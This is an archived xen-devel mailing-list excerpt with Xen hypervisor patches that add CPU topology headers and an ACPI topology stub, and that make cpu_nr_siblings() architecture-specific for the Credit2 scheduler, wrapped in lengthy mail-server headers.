diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..6bd2d96ebb
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,38 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+void __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..bd982ee836 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -135,6 +135,16 @@ static inline int acpi_boot_table_init(void)
 
 #endif 	/*!CONFIG_ACPI*/
 
+#ifdef CONFIG_ACPI_CPU_TOPOLOGY
+
+void acpi_init_cpu_topology(void);
+
+#else /* CONFIG_ACPI_CPU_TOPOLOGY */
+
+static inline void acpi_init_cpu_topology(void) {}
+
+#endif /* CONFIG_ACPI_CPU_TOPOLOGY */
+
 int get_cpu_id(u32 acpi_id);
 
 unsigned int acpi_register_gsi (u32 gsi, int edge_level, int active_high_low);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..f64820febf
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#define cpu_topology ((struct cpu_topology *)NULL)
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..cb8a266479
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,29 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+void dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 22:06:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 22:06:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358611.1612661 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt5-0007kP-9F; Thu, 09 Jul 2026 22:06:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358611.1612661; Thu, 09 Jul 2026 22:06:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt5-0007kF-5u; Thu, 09 Jul 2026 22:06:31 +0000
Received: by outflank-mailman (input) for mailman id 1358611;
 Thu, 09 Jul 2026 22:06:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1whwt4-0007Z7-8x
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 22:06:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whwt3-004Qfb-M3
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 00:06:29 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b2a-2eae-0a2a0a5409dd-0a2a4501accc-40
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:29 +0200
Received: from [52.101.125.136]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b62-3ea4-0a2a45010019-34657d888760-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:29 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB2431.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:18f::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Thu, 9 Jul
 2026 22:06:22 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Thu, 9 Jul 2026
 22:06:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lmwVFexMkF1ciFuAwuPkHXgHTVYkRDromlaxuHd0Go9kb12UQfedZ7opJBeWouWSwxKDsJ69ZA8uBIcWeXBnojD2xj92NhdiNO0LCmJT+2fjrvB+qHr9U7g10f5K4vQ3AM8dLdkUGceyDsQJjkF+obD6Mh2Q+VCQASwAsB9GrHN+4WMSpaVg8iKMX6cVSieYUTbBxbg+x1YcE+ljF8xWnxAHu8Vyet5zhVqDVpk07gJ/C0VmKu9OfUKdU0L4VjjsYzIcBmjOn2WdEOFXq+c7IBnw5uJdbapRd7OO+64DmjHo8xgsIQ39vNYT6T0ORjxd3TPlaUM5PTkO5Lx+Ag/0SA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=a9DehGZNw3SYAPXXjiD6TUCW6zXpPgUeGTv4Iws9mis=;
 b=dZwjJXgIeUbastWsy+h0x3rzpC2wKoS/AfMIu7KN/5HNU/p/fgyHJ35es615ADL2cYXIjtEHlGitmJX/pvbXKD4GgaCCQspWEuvmeDjUPJ+RF38kg6V45YomrslyQOw976W6p9r661kwU7w/sdglWNYyenn8fhADwXHsx/Cdnhcbe6ODXTOWTqZNhJ/UvfzLgfVEvRgzUhId5JltfgRIM7WL/bDL2yGOQa8S88MOh8qriEYvTJr6n8Ut57RWBeaTOZyeRhzxcHQywCaRLiIjZLnSpohRi1wnY5Of/E4VlbNEcv2amcTQtMPymOdOnO1s4Tx0U5OztjmeHx878Rw0LQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=a9DehGZNw3SYAPXXjiD6TUCW6zXpPgUeGTv4Iws9mis=;
 b=vBFsrqhvesyQCATRFK2n1gETQZzVJ+5O71lY3DSFwbOR8j4DADLk030GEnOUc4KH3V8CRX7T/TGLqr2753KQe3I6JHe3ePDNazzejVoUt+aloiUUelhHXlyBtgrWuNDd4UaAj/mTPA2FHPexHYmaGwc48dX03KtVtVbDGZuNncA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v5 3/4] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Fri, 10 Jul 2026 07:05:51 +0900
Message-ID: <20260709220552.646462-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709220552.646462-1-taka@valinux.co.jp>
References: <20260709220552.646462-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0007.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:400:386::18) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYCP286MB2431:EE_
X-MS-Office365-Filtering-Correlation-Id: 3649df4f-6322-4fc6-b87d-08dede064f8d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|23010399003|10070799003|366016|1800799024|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	hOBtqNtNix+QxqdOedHr29AxepdLORC21VoUFPCeqkoOxKlhV6i5IvXzJNGAPoMB7Jc+UUa0ZCCwjspFU8K4QBRXxV5hjoCgCMP8O8ZzL6E0I4xA2e4G4xmdDKcsVAvUcwfPCuxjyTj+yZfFF+eUd8HD+GV8pTIt3HqbMBtqP8EaG7jKzk29EYJh/EmLal3uZHo/RGrRNFv9nE5bRwXoMct4aFhjHTHvTU+Etbc1lRejTKCY618fmfwNojeTfXpJVOjugFI/eI4oVx4oUA0gIhlbaNDnBRJs6/9DZUGbz/sfU11btT61qpn5pm/nbcFrOLPonHCFu3RVrA3lhjQCe/EF3qJEIepiBQqUtswPkN0x//0Q2N7xqc81FMAuKKCFsk73P2YAW+W8NkjEPTxlyz0/ihFEwXBAVM8Mtpc58NXGi5xY/OTn4OrnJqHG7Dm+4SX3fzJv8h3mHZre4WTN+IR06uvxrJQFL161mlr6axWm78vX9yuv3YA5/hyHBtli1SM2RCJPMai7VrGTszHcXfmZxvl1xdGlC7RcCV6seCZuOVHvjwGOFZH5oIeFMTaEFhWdO/9t51AMoSFAJFjMPMeeZ8zsOt4ZBAOeFOjWmreWb0iP9RYPlyND9SynTGZ2pYFDDairFEuCz+iMIa8DOPv6TRWficHuqLWO9XdJ7uY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(23010399003)(10070799003)(366016)(1800799024)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?xE9m0GpYNHIosSW3IBDoHFeWq/Pt9+CAQ6qqXc4ELJD2oRPygK8vUuK7hEoR?=
 =?us-ascii?Q?CN7qDV4kc5G+gOfBPBXAV7kI6IhO5KtyEfo8AwRLWuxKpDrGqqFsqbTnPtTD?=
 =?us-ascii?Q?vK5CkzO/rI0DaOnto3HGvrXpEXAZub5iUytyuC1D8sZKmUkHM+sT0m4c86KQ?=
 =?us-ascii?Q?oNE+8zhOFrfgxcHAbrKZ1HtzZ9SXcoOigioIjZVkXMPa8kzp3XVLQWURhr8g?=
 =?us-ascii?Q?kzojX2d8VoKqqLalOX8uZI1NQeUj+1bPxj4Lo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Q?LOScL1YNTuT41/jXGJT0tFKuBxFvaGs4H83f+yy3hKsOG9ZWh0e+kgWF20q/?=
 =?us-ascii?Q?QgfZoNFlkClhEOtqlidmsK5yIOb1mSj1LABEdV66Jl9O3pwK5ImQR8cee/vB?=
 =?us-ascii?Q?0NzzL1zTzhKs/SJmpfP1Nw8RqACTFbHRS80yEDFEsGsH3AWTNtoClRZ/l+/A?=
 =?us-ascii?Q?FEd3xLrQkvitUrS0HzP5dF1GWm97Erp72LWJiulNukUkzxeY28T3YtqGFyQc?=
 =?us-ascii?Q?xquWVh1cOAbVZA2UyNvvJAAf7sLAFP1hfkJQz2dAsvU3wKEhEV/qjdHWc9YY?=
 =?us-ascii?Q?f5m2YZQmPPEuz3PerCiU+9091asbnd6x0PE2qbAo8PwO1xBHA0/qzeegcB2f?=
 =?us-ascii?Q?QP0M33ozurkh5No5fieR1oMU6l0fi7baRc8zeRhk5sq1PGl25vVccAzeth1O?=
 =?us-ascii?Q?/impa8+ZkVo4+OG3/tCyKuuNfSaFl0WsTZ6LzAnbetantFExnP5Bf3+h1Nh6?=
 =?us-ascii?Q?CEOJCyVVli4Pq8uS+pXIF/liA440JiXbS9fNZeYE+d7ciqE8ES1yINB+rOK8?=
 =?us-ascii?Q?nZbX8EGj8yEsz0MUP3j0FXaWze6iG0x0rczmw1CgLT9FQ2qR5FsqKyt6R4rN?=
 =?us-ascii?Q?nVg9SLhFeE7nsl4LEOn7X28yZk86DjE4FJvf9Vj2Q76yT9VFneIXZ1lZRU4r?=
X-MS-Exchange-AntiSpam-MessageData-1: AHNkbTAiXp3d/w==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 3649df4f-6322-4fc6-b87d-08dede064f8d
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 22:06:21.9714
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: BEizRsjyc4zFh/g/F6mvfJHiGugXpQiJ8HZ5sThWJRXhtG5BEvKEYETqygb1qCH80DI1jNUBmVf17y8E8NHixg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB2431
X-purgate-ID: tlsNG-d62444/1783634789-3EAF00A8-FEFEF841/0/0
X-purgate-type: clean
X-purgate-size: 3394

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 22 +++-------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 19 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 3d4cecd5ba..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,22 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#ifdef CONFIG_X86
-    return cpu_data[cpu].x86_num_siblings;
-#elif defined(CONFIG_GENERIC_CPU_TOPOLOGY)
-    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -882,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index ee34425680..646cd0ff04 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -41,6 +41,7 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -64,6 +65,10 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 22:06:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 22:06:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358608.1612634 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt0-00075V-Cl; Thu, 09 Jul 2026 22:06:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358608.1612634; Thu, 09 Jul 2026 22:06:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt0-00075O-9T; Thu, 09 Jul 2026 22:06:26 +0000
Received: by outflank-mailman (input) for mailman id 1358608;
 Thu, 09 Jul 2026 22:06:25 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1whwsy-0006sg-SL
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 22:06:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whwsy-004Qfb-9J
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 00:06:24 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-2eae-0a2a0a5409dd-0a2a4505bdc4-14
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:23 +0200
Received: from [52.101.125.137]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-4f1d-0a2a45050019-34657d89cdb0-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:22 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB2431.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:18f::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Thu, 9 Jul
 2026 22:06:20 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Thu, 9 Jul 2026
 22:06:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ddcylcgjJoolLwrxCyh5MvBjIttF3vjAazw9DgxD9nb6Cl4zV6ofH7B1ozpMZEicOmxKBMQZx/Iabx7q0pzXyGbJFvKYANMB77GuQ6M9DIBVNZzt6h9dO5LexwXqc+a9JM67OcR+aFqkQoE8gtO8ubECdDOYeuyFtVT32bSm6+IwILIlmd4AfNvgFGQ+8oe8S/+Amr0QKDgNMG4ND363VhI43C59PvQvmeMeC8gPZn90Rkgnkk6ZHOI+d3m6Y5/PJG8W7lhVdSxEcsYovrJDVdDVubgdy3QUPbbDZcz1VeXQEd12XBkt6hPsT69ZaMgTTeKj8H0y91dFr3YMODZScA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Oglcz0WW3q4sUZQrDmPxJwR1NMDwnQUA+F3DbHSd7c4=;
 b=RggNqfYRUzqKEzNFp060JwwuM9sJIgRmpdTWNCSHrrOfcdAyuQLJvxN6lVd2jeeRKxBxWGfvgGoIrkMFG8UFKotb9/015BUt0Hshh7Tk0840/QO983Ca0Zmul1wXtD1JsRFUnxog13BGnjJXNyIA3O9Q9b8M7oIAqFX+5H9q+uyb2inyEOrgM95W4gAaf5xWA7uFrze1550ufj7LTHiZP+h7b4Kak3W7qlxCQ8IJIn0u1IW65YDTHOqbNpWbvoO2Pv3ypcqM4l2dXpa5QzB+njpORdFsmiUR6ra6TjHpeUiHXBAF6cdGD7VtUmuPkEJ8rCP/2liRVwb6/tCwk29dXQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Oglcz0WW3q4sUZQrDmPxJwR1NMDwnQUA+F3DbHSd7c4=;
 b=Ca1WBMXofbnVc8cksEKxJqmG8CvHcG0CMfBk87tCNSPPd6mECFenLunWK3j+aNJ1TOufhHe8cO9x9bOTnfVELIqQPw8Yh+vUN3AZW8KflOZ6QL1sAH/p4R2edv/YTcFMhFhJROmGqQVds7XpSiZqTfytzfqWCaMkfnHpq4fDeoY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v5 2/4] xen/sched: Link CPU topology to scheduler
Date: Fri, 10 Jul 2026 07:05:50 +0900
Message-ID: <20260709220552.646462-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709220552.646462-1-taka@valinux.co.jp>
References: <20260709220552.646462-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0001.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:400:386::19) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYCP286MB2431:EE_
X-MS-Office365-Filtering-Correlation-Id: 02ad1b01-c3c3-4f6b-5157-08dede064e94
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|23010399003|10070799003|366016|1800799024|6133799003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
